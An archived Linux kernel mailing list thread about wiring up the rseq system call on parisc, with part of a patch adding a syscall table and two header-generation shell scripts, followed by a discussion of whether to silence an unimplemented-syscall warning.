> +326     common  open_by_handle_at               sys_open_by_handle_at           compat_sys_open_by_handle_at
> +327     common  syncfs                          sys_syncfs
> +328     common  setns                           sys_setns
> +329     common  sendmmsg                        sys_sendmmsg                    compat_sys_sendmmsg
> +330     common  process_vm_readv                sys_process_vm_readv            compat_sys_process_vm_readv
> +331     common  process_vm_writev               sys_process_vm_writev           compat_sys_process_vm_writev
> +332     common  kcmp                            sys_kcmp
> +333     common  finit_module                    sys_finit_module
> +334     common  sched_setattr                   sys_sched_setattr
> +335     common  sched_getattr                   sys_sched_getattr
> +336     common  utimes                          sys_utimes                      compat_sys_utimes
> +337     common  renameat2                       sys_renameat2
> +338     common  seccomp                         sys_seccomp
> +339     common  getrandom                       sys_getrandom
> +340     common  memfd_create                    sys_memfd_create
> +341     common  bpf                             sys_bpf
> +342     common  execveat                        sys_execveat                    compat_sys_execveat
> +343     common  membarrier                      sys_membarrier
> +344     common  userfaultfd                     sys_userfaultfd
> +345     common  mlock2                          sys_mlock2
> +346     common  copy_file_range                 sys_copy_file_range
> +347     common  preadv2                         sys_preadv2                     compat_sys_preadv2
> +348     common  pwritev2                        sys_pwritev2                    compat_sys_pwritev2
> +349     common  statx                           sys_statx
> +350    common  io_pgetevents                   sys_io_pgetevents               compat_sys_io_pgetevents
> \ No newline at end of file
> diff --git a/arch/parisc/kernel/syscalls/syscallhdr.sh b/arch/parisc/kernel/syscalls/syscallhdr.sh
> new file mode 100644
> index 0000000..607d4ca
> --- /dev/null
> +++ b/arch/parisc/kernel/syscalls/syscallhdr.sh
> @@ -0,0 +1,35 @@
> +#!/bin/sh
> +# SPDX-License-Identifier: GPL-2.0
> +
> +in="$1"
> +out="$2"
> +my_abis=`echo "($3)" | tr ',' '|'`
> +prefix="$4"
> +offset="$5"
> +
> +fileguard=_UAPI_ASM_PARISC_`basename "$out" | sed \
> +    -e 'y/abcdefghijklmnopqrstuvwxyz/ABCDEFGHIJKLMNOPQRSTUVWXYZ/' \
> +    -e 's/[^A-Z0-9_]/_/g' -e 's/__/_/g'`
> +grep -E "^[0-9A-Fa-fXx]+[[:space:]]+${my_abis}" "$in" | sort -n | (
> +    echo "#ifndef ${fileguard}"
> +    echo "#define ${fileguard}"
> +    echo ""
> +
> +    nxt=0
> +    while read nr abi name entry compat ; do
> +       if [ -z "$offset" ]; then
> +           echo -e "#define __NR_${prefix}${name}\t$nr"
> +       else
> +           echo -e "#define __NR_${prefix}${name}\t($offset + $nr)"
> +       fi
> +       nxt=$nr
> +       let nxt=nxt+1
> +    done
> +
> +    echo ""
> +    echo "#ifdef __KERNEL__"
> +    echo -e "#define __NR_syscalls\t$nxt"
> +    echo "#endif"
> +    echo ""
> +    echo "#endif /* ${fileguard} */"
> +) > "$out"
> diff --git a/arch/parisc/kernel/syscalls/syscalltbl.sh b/arch/parisc/kernel/syscalls/syscalltbl.sh
> new file mode 100644
> index 0000000..82b0416
> --- /dev/null
> +++ b/arch/parisc/kernel/syscalls/syscalltbl.sh
> @@ -0,0 +1,41 @@
> +#!/bin/sh
> +# SPDX-License-Identifier: GPL-2.0
> +
> +in="$1"
> +out="$2"
> +my_abis=`echo "($3)" | tr ',' '|'`
> +offset="$4"
> +
> +emit() {
> +    nxt="$1"
> +    nr="$2"
> +    entry="$3"
> +
> +    while [ $nxt -lt $nr ]; do
> +       echo "__SYSCALL($nxt, sys_ni_syscall, )"
> +        let nxt=nxt+1
> +    done
> +    echo "__SYSCALL($nr, $entry, )"
> +}
> +
> +grep -E "^[0-9A-Fa-fXx]+[[:space:]]+${my_abis}" "$in" | sort -n | (
> +    if [ -z "$offset" ]; then
> +       nxt=0
> +    else
> +       nxt=$offset
> +    fi
> +
> +    while read nr abi name entry compat ; do
> +       if [ ${out: -5} = "c32.h" ]; then
> +           if [ -z "$compat" ]; then
> +               emit $nxt $nr $entry
> +           else
> +               emit $nxt $nr $compat
> +           fi
> +       elif [ ${out: -4} = "64.h" -o  ${out: -4} = "32.h" ]; then
> +           emit $nxt $nr $entry
> +       fi
> +       nxt=$nr
> +        let nxt=nxt+1
> +    done
> +) > "$out"
> --
> 1.9.1
>

I did some stupidity here. will fix now. Thanks!


From - Thu Nov 08 21:42:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Geert Uytterhoeven <geert@linux-m68k.org>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.kernel.year-2038,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH v3 5/6] parisc: wire up rseq system call
Date: Mon, 8 Oct 2018 10:23:33 +0200
Lines: 68
Approved: news@gmane.org
Message-ID: <CAMuHMdWOKmnn18yS_dHNjgT8rrVsUc3ipGpMTQbyEBujHuVE8w@mail.gmail.com>
References: <1538975801-13735-1-git-send-email-firoz.khan@linaro.org>
 <1538975801-13735-6-git-send-email-firoz.khan@linaro.org> <feb53cb6-e20b-42c3-5b53-8b310c772545@gmx.de>
 <CALxhOnjjWQRi6G4N-o+GZzkqc_zAYNT3RaN+P6bdEXeE=uY6-g@mail.gmail.com>
 <22745bed-baf6-4f08-6801-3529021cf33e@gmx.de> <CALxhOniZQEMCOY-B1F5=MCdpCYMbeGQAJTtPXhVyJ5TxtOEA5A@mail.gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
X-Trace: blaine.gmane.org 1538986906 15381 195.159.176.226 (8 Oct 2018 08:21:46 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 8 Oct 2018 08:21:46 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>,
        Parisc List <linux-parisc@vger.kernel.org>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Thomas Gleixner <tglx@linutronix.de>,
        Greg KH <gregkh@linuxfoundation.org>,
        Philippe Ombredanne <pombredanne@nexb.com>,
        Kate Stewart <kstewart@linuxfoundation.org>,
        y2038 Mailman List <y2038@lists.linaro.org>,
        Linux Kernel Mailing List <linux-kernel@vger.kernel.org>,
        Linux-Arch <linux-arch@vger.kernel.org>,
        Arnd Bergmann <arnd@arndb.de>,
        Deepa Dinamani <deepa.kernel@gmail.com>,
        marcin.juszkiewicz@linaro.org
To: firoz.khan@linaro.org
Original-X-From: linux-kernel-owner@vger.kernel.org Mon Oct 08 10:21:40 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1g9QnK-0003qx-2e
	for glk-linux-kernel-4@m.gmane.org; Mon, 08 Oct 2018 10:21:38 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1727284AbeJHPeS (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Mon, 8 Oct 2018 11:34:18 -0400
Original-Received: from mail-ua1-f65.google.com ([209.85.222.65]:40373 "EHLO
        mail-ua1-f65.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1725983AbeJHPeS (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Mon, 8 Oct 2018 11:34:18 -0400
Original-Received: by mail-ua1-f65.google.com with SMTP id c21so5138610uap.7;
        Mon, 08 Oct 2018 01:23:45 -0700 (PDT)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:mime-version:references:in-reply-to:from:date
         :message-id:subject:to:cc;
        bh=+i0d/eZ830ZcQw7SqRYZNFUW03iPkwPgliiumsiRJl4=;
        b=KhmSe6gYfUKG9nZ/qiDfCgKXaAPxHNMhFCw8ptyRvIaLkiK80g0H9hZoS5AWxB8Mg4
         1TzjvpzCQ9laHeV9Zz/5/TBTiPBiNqRKH+z1PeZX67wcVe9SMgwhVxANRMNu0A0uOr2X
         qLI0wyjvTN6EHAQocFsFy/XcylGulDoxJKL+faaImzTunnfePWsTtmGQS/zKx/nvjim5
         r8D4wrA05VaUystXt5eiZun2z472rjWOAtkzf/4nF8t6Tek3blVOTW8CCKW2mlWEXJj0
         lklVAdybfF/FR92TP4/B9wlz5/cpYVf80xC7L1f9gW5iqUq6hgreZbFEvusfJPstWRDH
         hzRA==
X-Gm-Message-State: ABuFfoib5vx/RLhqMNvO/plhnH0IMMFArooex9Rs3HYbHoRWw7wFzfuX
        QFew116NqdW93Guxu+eWYd1ugssom5UAAmYFe6ym7g==
X-Google-Smtp-Source: ACcGV60+YGwNQKXcImvfTovFZ2JLBPAAXz4EvtWuhUUtPn48Jrv0p0mD3eS9kmrFqroShPqnadDGpIKtw6XyZ1OXXj8=
X-Received: by 2002:a9f:35f1:: with SMTP id u46-v6mr8911639uad.20.1538987025286;
 Mon, 08 Oct 2018 01:23:45 -0700 (PDT)
In-Reply-To: <CALxhOniZQEMCOY-B1F5=MCdpCYMbeGQAJTtPXhVyJ5TxtOEA5A@mail.gmail.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2892413 gmane.linux.ports.parisc:29101 gmane.linux.kernel.year-2038:3463 gmane.linux.kernel.cross-arch:47491
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2892413>

Hi Firoz,

On Mon, Oct 8, 2018 at 8:49 AM Firoz Khan <firoz.khan@linaro.org> wrote:
> On Mon, 8 Oct 2018 at 11:36, Helge Deller <deller@gmx.de> wrote:
> > On 08.10.2018 07:52, Firoz Khan wrote:
> > > On Mon, 8 Oct 2018 at 11:11, Helge Deller <deller@gmx.de> wrote:
> > >> On 08.10.2018 07:16, Firoz Khan wrote:
> > >>> Signed-off-by: Firoz Khan <firoz.khan@linaro.org>
> > >>> ---
> > >>>  arch/parisc/kernel/syscalls/syscall.tbl | 3 ++-
> > >>>  1 file changed, 2 insertions(+), 1 deletion(-)
> > >>>
> > >>> diff --git a/arch/parisc/kernel/syscalls/syscall.tbl b/arch/parisc/kernel/syscalls/syscall.tbl
> > >>> index 4e85293..4334bb7 100644
> > >>> --- a/arch/parisc/kernel/syscalls/syscall.tbl
> > >>> +++ b/arch/parisc/kernel/syscalls/syscall.tbl
> > >>> @@ -349,4 +349,5 @@
> > >>>  347     common  preadv2                         sys_preadv2                     compat_sys_preadv2
> > >>>  348     common  pwritev2                        sys_pwritev2                    compat_sys_pwritev2
> > >>>  349     common  statx                           sys_statx
> > >>> -350  common  io_pgetevents                   sys_io_pgetevents               compat_sys_io_pgetevents
> > >>> \ No newline at end of file
> > >>> +350  common  io_pgetevents                   sys_io_pgetevents               compat_sys_io_pgetevents
> > >>> +351  common  rseq                            sys_rseq                        compat_sys_rseq
> > >>
> > >> You can't add the rseq syscall for parisc yet.
> > >> It needs additional code in the kernel for parisc which hasn't been tested yet.
> > >> See my initial untested patch at https://patchwork.kernel.org/patch/10495209/
> > >
> > > Thanks for your update!
> > >
> > > When I compiled the kernel I got below warnings.
> > >
> > > <stdin>:696:2: warning: #warning syscall nfsservctl not implemented [-Wcpp]
> > > <stdin>:1335:2: warning: #warning syscall rseq not implemented [-Wcpp]
> > >
> > > I added an IGNORE entry nfsservctl in script/checksyscalls.sh because this
> > > syscall is gone. But we definitely have to keep rseq entry on parisc
> > > architecture.
> >
> > I prefer to keep the warning for rseq for now.
>
> I'm fine with this.
>
> > It reminds me that we still may want the rseq syscall.
> > If the warning is a problem, you may simply add the __IGNORE_rseq define.
>
> But I still feel to keep an IGNORE entry, so once you test your patch; we can
> remove IGNORE entry and update the syscall.tbl.

If the warning is bogus (e.g. obsolete syscall), an IGNORE entry
should be added.
If the warning is due to a not-yet-implemented feature, IMHO it should not be
silenced, as that would give the false impression that the feature is
present and
implemented.

Gr{oetje,eeting}s,

                        Geert

-- 
Geert Uytterhoeven -- There's lots of Linux beyond ia32 -- geert@linux-m68k.org

In personal conversations with technical people, I call myself a hacker. But
when I'm talking to journalists I just say "programmer" or something like that.
                                -- Linus Torvalds


From - Thu Nov 08 21:42:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Firoz Khan <firoz.khan@linaro.org>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.kernel.year-2038,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH v3 5/6] parisc: wire up rseq system call
Date: Mon, 8 Oct 2018 14:25:16 +0530
Lines: 84
Approved: news@gmane.org
Message-ID: <CALxhOnjEBFF8cnwm6MqNwZjpJbA8y_g8kQCrjMiALftcYJmjMQ@mail.gmail.com>
References: <1538975801-13735-1-git-send-email-firoz.khan@linaro.org>
 <1538975801-13735-6-git-send-email-firoz.khan@linaro.org> <feb53cb6-e20b-42c3-5b53-8b310c772545@gmx.de>
 <CALxhOnjjWQRi6G4N-o+GZzkqc_zAYNT3RaN+P6bdEXeE=uY6-g@mail.gmail.com>
 <22745bed-baf6-4f08-6801-3529021cf33e@gmx.de> <CALxhOniZQEMCOY-B1F5=MCdpCYMbeGQAJTtPXhVyJ5TxtOEA5A@mail.gmail.com>
 <CAMuHMdWOKmnn18yS_dHNjgT8rrVsUc3ipGpMTQbyEBujHuVE8w@mail.gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
X-Trace: blaine.gmane.org 1538988805 29883 195.159.176.226 (8 Oct 2018 08:53:25 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 8 Oct 2018 08:53:25 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org,
        "James E . J . Bottomley" <jejb@parisc-linux.org>,
        Thomas Gleixner <tglx@linutronix.de>,
        Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
        Philippe Ombredanne <pombredanne@nexb.com>,
        Kate Stewart <kstewart@linuxfoundation.org>,
        y2038 Mailman List <y2038@lists.linaro.org>,
        Linux Kernel Mailing List <linux-kernel@vger.kernel.org>,
        Linux-Arch <linux-arch@vger.kernel.org>,
        Arnd Bergmann <arnd@arndb.de>,
        Deepa Dinamani <deepa.kernel@gmail.com>,
        Marcin Juszkiewicz <marcin.juszkiewicz@linaro.org>
To: Geert Uytterhoeven <geert@linux-m68k.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Mon Oct 08 10:53:20 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1g9RHz-0007dA-PB
	for glk-linux-kernel-4@m.gmane.org; Mon, 08 Oct 2018 10:53:20 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1727503AbeJHQGH (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Mon, 8 Oct 2018 12:06:07 -0400
Original-Received: from mail-yb1-f196.google.com ([209.85.219.196]:44597 "EHLO
        mail-yb1-f196.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1726013AbeJHQGH (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Mon, 8 Oct 2018 12:06:07 -0400
Original-Received: by mail-yb1-f196.google.com with SMTP id x5-v6so7969536ybl.11
        for <linux-kernel@vger.kernel.org>; Mon, 08 Oct 2018 01:55:27 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=linaro.org; s=google;
        h=mime-version:references:in-reply-to:from:date:message-id:subject:to
         :cc;
        bh=3sGQfFzxBV3oPaUKUBORu2qLMvmufWQBTzgqreKSdNM=;
        b=GfNmjPuQ0z2p8vTPSuhDNgT0W+0yRvDIMufrhff8bJrki2/atI4cbSSe/gpjeRJZpX
         PX5g0wwD3NhgqM3GDLBDfS/cK+xdNpIfLMzVZnAxh65twCUDWX7V3xWlFr860QZtIjJi
         GLyMmHCDk6YNiZvH4AGkGEc/YAMVoTAbT33GQ=
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:mime-version:references:in-reply-to:from:date
         :message-id:subject:to:cc;
        bh=3sGQfFzxBV3oPaUKUBORu2qLMvmufWQBTzgqreKSdNM=;
        b=qyRGT/cPB/fzy8bTx0mJAjbl5g64yGBqtc/W5zSlMqSQ9OF/+x1WFEFhGkXqbfsf5Z
         C417Fr5dJGnRYS+lIopMBhjZxPogZKPmRU8yfDokizxrgPdnUqeC7JSfP1NIdwHj2KY3
         wU021Z/OBmm7GhSUOZd7AF2vHmRCxCJcXoJyk3bWFQwKaOAiTauMqa9m/TaCGqZ7lQ0Z
         ikIiEoV/ybHqhvhfdXmsSntQPXf0gSQl2fUqC1RWqPQgbj5h232awrgYk2MINKuXPS+j
         A3SLZE4C8RQ8JfdxNbDadC3bpqzWeN+/dm4AoV0rYNE+rDaGu4rPAXw4JtX1cjKEQDBY
         cJBA==
X-Gm-Message-State: ABuFfogo7sqluYkK5GIrZU2syec6Ll5ugpqUEcTt5rsYfxDL8j3bvJhG
        3sUU9GwYJ6nBC3xSVuz2hfgw0sVAbXYHQqjH3cVa/A==
X-Google-Smtp-Source: ACcGV62WdRuOl6KRpOhoHmxOd4aVQPO8bbSybHssiIREW2Qndk/9rdVYfTdZPgSx4jMdaSAArL46889PTf6fh98HAtA=
X-Received: by 2002:a25:8242:: with SMTP id d2-v6mr12647957ybn.166.1538988927440;
 Mon, 08 Oct 2018 01:55:27 -0700 (PDT)
In-Reply-To: <CAMuHMdWOKmnn18yS_dHNjgT8rrVsUc3ipGpMTQbyEBujHuVE8w@mail.gmail.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2892437 gmane.linux.ports.parisc:29102 gmane.linux.kernel.year-2038:3464 gmane.linux.kernel.cross-arch:47492
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2892437>

Hi Geert,

On Mon, 8 Oct 2018 at 13:53, Geert Uytterhoeven <geert@linux-m68k.org> wrote:
>
> Hi Firoz,
>
> On Mon, Oct 8, 2018 at 8:49 AM Firoz Khan <firoz.khan@linaro.org> wrote:
> > On Mon, 8 Oct 2018 at 11:36, Helge Deller <deller@gmx.de> wrote:
> > > On 08.10.2018 07:52, Firoz Khan wrote:
> > > > On Mon, 8 Oct 2018 at 11:11, Helge Deller <deller@gmx.de> wrote:
> > > >> On 08.10.2018 07:16, Firoz Khan wrote:
> > > >>> Signed-off-by: Firoz Khan <firoz.khan@linaro.org>
> > > >>> ---
> > > >>>  arch/parisc/kernel/syscalls/syscall.tbl | 3 ++-
> > > >>>  1 file changed, 2 insertions(+), 1 deletion(-)
> > > >>>
> > > >>> diff --git a/arch/parisc/kernel/syscalls/syscall.tbl b/arch/parisc/kernel/syscalls/syscall.tbl
> > > >>> index 4e85293..4334bb7 100644
> > > >>> --- a/arch/parisc/kernel/syscalls/syscall.tbl
> > > >>> +++ b/arch/parisc/kernel/syscalls/syscall.tbl
> > > >>> @@ -349,4 +349,5 @@
> > > >>>  347     common  preadv2                         sys_preadv2                     compat_sys_preadv2
> > > >>>  348     common  pwritev2                        sys_pwritev2                    compat_sys_pwritev2
> > > >>>  349     common  statx                           sys_statx
> > > >>> -350  common  io_pgetevents                   sys_io_pgetevents               compat_sys_io_pgetevents
> > > >>> \ No newline at end of file
> > > >>> +350  common  io_pgetevents                   sys_io_pgetevents               compat_sys_io_pgetevents
> > > >>> +351  common  rseq                            sys_rseq                        compat_sys_rseq
> > > >>
> > > >> You can't add the rseq syscall for parisc yet.
> > > >> It needs additional code in the kernel for parisc which hasn't been tested yet.
> > > >> See my initial untested patch at https://patchwork.kernel.org/patch/10495209/
> > > >
> > > > Thanks for your update!
> > > >
> > > > When I compiled the kernel I got below warnings.
> > > >
> > > > <stdin>:696:2: warning: #warning syscall nfsservctl not implemented [-Wcpp]
> > > > <stdin>:1335:2: warning: #warning syscall rseq not implemented [-Wcpp]
> > > >
> > > > I added an IGNORE entry nfsservctl in script/checksyscalls.sh because this
> > > > syscall is gone. But we definitely have to keep rseq entry on parisc
> > > > architecture.
> > >
> > > I prefer to keep the warning for rseq for now.
> >
> > I'm fine with this.
> >
> > > It reminds me that we still may want the rseq syscall.
> > > If the warning is a problem, you may simply add the __IGNORE_rseq define.
> >
> > But I still feel to keep an IGNORE entry, so once you test your patch; we can
> > remove IGNORE entry and update the syscall.tbl.
>
> If the warning is bogus (e.g. obsolete syscall), an IGNORE entry
> should be added.

nfsservctl  look like an obsolete one, so I added an IGNORE entry in
script/checksyscalls.h

> If the warning is due to a not-yet-implemented feature, IMHO it should not be
> silenced, as that would give the false impression that the feature is
> present and
> implemented.

Helge had done some implementation for rseq but not tested. So we
either add an IGNORE
entry or leave the warning as it is.

Thanks
Firoz

>
> Gr{oetje,eeting}s,
>
>                         Geert
>
> --
> Geert Uytterhoeven -- There's lots of Linux beyond ia32 -- geert@linux-m68k.org
>
> In personal conversations with technical people, I call myself a hacker. But
> when I'm talking to journalists I just say "programmer" or something like that.
>                                 -- Linus Torvalds


From - Thu Nov 08 21:42:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Geert Uytterhoeven <geert@linux-m68k.org>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.kernel.year-2038,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH v3 5/6] parisc: wire up rseq system call
Date: Mon, 8 Oct 2018 10:58:33 +0200
Lines: 54
Approved: news@gmane.org
Message-ID: <CAMuHMdWPx_ZRt-60K9_4oaX0pGESb8WUE6t73Y5DAUF-t=Z5EQ@mail.gmail.com>
References: <1538975801-13735-1-git-send-email-firoz.khan@linaro.org>
 <1538975801-13735-6-git-send-email-firoz.khan@linaro.org> <feb53cb6-e20b-42c3-5b53-8b310c772545@gmx.de>
 <CALxhOnjjWQRi6G4N-o+GZzkqc_zAYNT3RaN+P6bdEXeE=uY6-g@mail.gmail.com>
 <22745bed-baf6-4f08-6801-3529021cf33e@gmx.de> <CALxhOniZQEMCOY-B1F5=MCdpCYMbeGQAJTtPXhVyJ5TxtOEA5A@mail.gmail.com>
 <CAMuHMdWOKmnn18yS_dHNjgT8rrVsUc3ipGpMTQbyEBujHuVE8w@mail.gmail.com> <CALxhOnjEBFF8cnwm6MqNwZjpJbA8y_g8kQCrjMiALftcYJmjMQ@mail.gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
X-Trace: blaine.gmane.org 1538989006 12401 195.159.176.226 (8 Oct 2018 08:56:46 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 8 Oct 2018 08:56:46 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>,
        Parisc List <linux-parisc@vger.kernel.org>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Thomas Gleixner <tglx@linutronix.de>,
        Greg KH <gregkh@linuxfoundation.org>,
        Philippe Ombredanne <pombredanne@nexb.com>,
        Kate Stewart <kstewart@linuxfoundation.org>,
        y2038 Mailman List <y2038@lists.linaro.org>,
        Linux Kernel Mailing List <linux-kernel@vger.kernel.org>,
        Linux-Arch <linux-arch@vger.kernel.org>,
        Arnd Bergmann <arnd@arndb.de>,
        Deepa Dinamani <deepa.kernel@gmail.com>,
        marcin.juszkiewicz@linaro.org
To: firoz.khan@linaro.org
Original-X-From: linux-kernel-owner@vger.kernel.org Mon Oct 08 10:56:41 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1g9RLB-00032g-8H
	for glk-linux-kernel-4@m.gmane.org; Mon, 08 Oct 2018 10:56:37 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1727339AbeJHQJ0 (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Mon, 8 Oct 2018 12:09:26 -0400
Original-Received: from mail-vs1-f65.google.com ([209.85.217.65]:44759 "EHLO
        mail-vs1-f65.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1726096AbeJHQJZ (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Mon, 8 Oct 2018 12:09:25 -0400
Original-Received: by mail-vs1-f65.google.com with SMTP id v18-v6so10953138vsl.11;
        Mon, 08 Oct 2018 01:58:45 -0700 (PDT)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:mime-version:references:in-reply-to:from:date
         :message-id:subject:to:cc;
        bh=MRV5EHtl76ZhhsGH5Ticw2ko265G9mFdWhqbwno+9jA=;
        b=qMWgdWQy3jxJawd4mDWBjsykvxDDXonHVoffHQN1phL1J4PeEkk1Y/GCyOFWfbrbiD
         wW3LjzztuRO+XLjQjeCOHL8jaNnsLDvsBELdam4Mv4z1U8rKpKf1Yqjq07n4QDZHuLgd
         ITMgIdqxMMb0bekWZ57/XoP6sbo2bwaPzGORmjydFLap3KduiFwAg1mtbD7xDr8Ewa20
         0TBj/+8hmeo12N0ywaGV1natIKvIse3xoA0g8iww0x0QT6vaFM29cYp3OlQu4ZHsDUyV
         4SSjAofiifUI7VHuf9+CZmS3KAOAz/oan6YDGVKRnQRhyDnD2fqezNASEIt40uG7T9EG
         M3Pg==
X-Gm-Message-State: ABuFfoi5b3sm9I+5G3eKfOVO9mdbZ9pQ3iHUvatVbQG5FpjPgt2rwPhU
        WQyi0iOrlmaa/9e/LTS3WDtlcJ/YRFUCECs+S5s=
X-Google-Smtp-Source: ACcGV62RC2nniqucWulQbhn+m46kFN4ipyICcGYThc3D/CTm6pwNMpEWm38VDTMA5/opG5wSAEZpPD6nhhn35jPWQMA=
X-Received: by 2002:a67:e015:: with SMTP id c21mr7623759vsl.63.1538989124947;
 Mon, 08 Oct 2018 01:58:44 -0700 (PDT)
In-Reply-To: <CALxhOnjEBFF8cnwm6MqNwZjpJbA8y_g8kQCrjMiALftcYJmjMQ@mail.gmail.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2892440 gmane.linux.ports.parisc:29103 gmane.linux.kernel.year-2038:3465 gmane.linux.kernel.cross-arch:47493
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2892440>

Hi Firoz,

On Mon, Oct 8, 2018 at 10:55 AM Firoz Khan <firoz.khan@linaro.org> wrote:
> On Mon, 8 Oct 2018 at 13:53, Geert Uytterhoeven <geert@linux-m68k.org> wrote:
> > On Mon, Oct 8, 2018 at 8:49 AM Firoz Khan <firoz.khan@linaro.org> wrote:
> > > On Mon, 8 Oct 2018 at 11:36, Helge Deller <deller@gmx.de> wrote:
> > > > On 08.10.2018 07:52, Firoz Khan wrote:
> > > > > <stdin>:696:2: warning: #warning syscall nfsservctl not implemented [-Wcpp]
> > > > > <stdin>:1335:2: warning: #warning syscall rseq not implemented [-Wcpp]
> > > > >
> > > > > I added an IGNORE entry nfsservctl in script/checksyscalls.sh because this
> > > > > syscall is gone. But we definitely have to keep rseq entry on parisc
> > > > > architecture.
> > > >
> > > > I prefer to keep the warning for rseq for now.
> > >
> > > I'm fine with this.
> > >
> > > > It reminds me that we still may want the rseq syscall.
> > > > If the warning is a problem, you may simply add the __IGNORE_rseq define.
> > >
> > > But I still feel to keep an IGNORE entry, so once you test your patch; we can
> > > remove IGNORE entry and update the syscall.tbl.
> >
> > If the warning is bogus (e.g. obsolete syscall), an IGNORE entry
> > should be added.
>
> nfsservctl  look like an obsolete one, so I added an IGNORE entry in
> script/checksyscalls.h

Yes it is.

> > If the warning is due to a not-yet-implemented feature, IMHO it should not be
> > silenced, as that would give the false impression that the feature is
> > present and
> > implemented.
>
> Helge had done some implementation for rseq but not tested. So we
> either add an IGNORE
> entry or leave the warning as it is.

Personally, I prefer keeping the warning, for the above reason.

Gr{oetje,eeting}s,

                        Geert

-- 
Geert Uytterhoeven -- There's lots of Linux beyond ia32 -- geert@linux-m68k.org

In personal conversations with technical people, I call myself a hacker. But
when I'm talking to journalists I just say "programmer" or something like that.
                                -- Linus Torvalds


From - Thu Nov 08 21:42:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Arnd Bergmann <arnd@arndb.de>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.kernel.year-2038,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH v3 5/6] parisc: wire up rseq system call
Date: Mon, 8 Oct 2018 11:11:44 +0200
Lines: 34
Approved: news@gmane.org
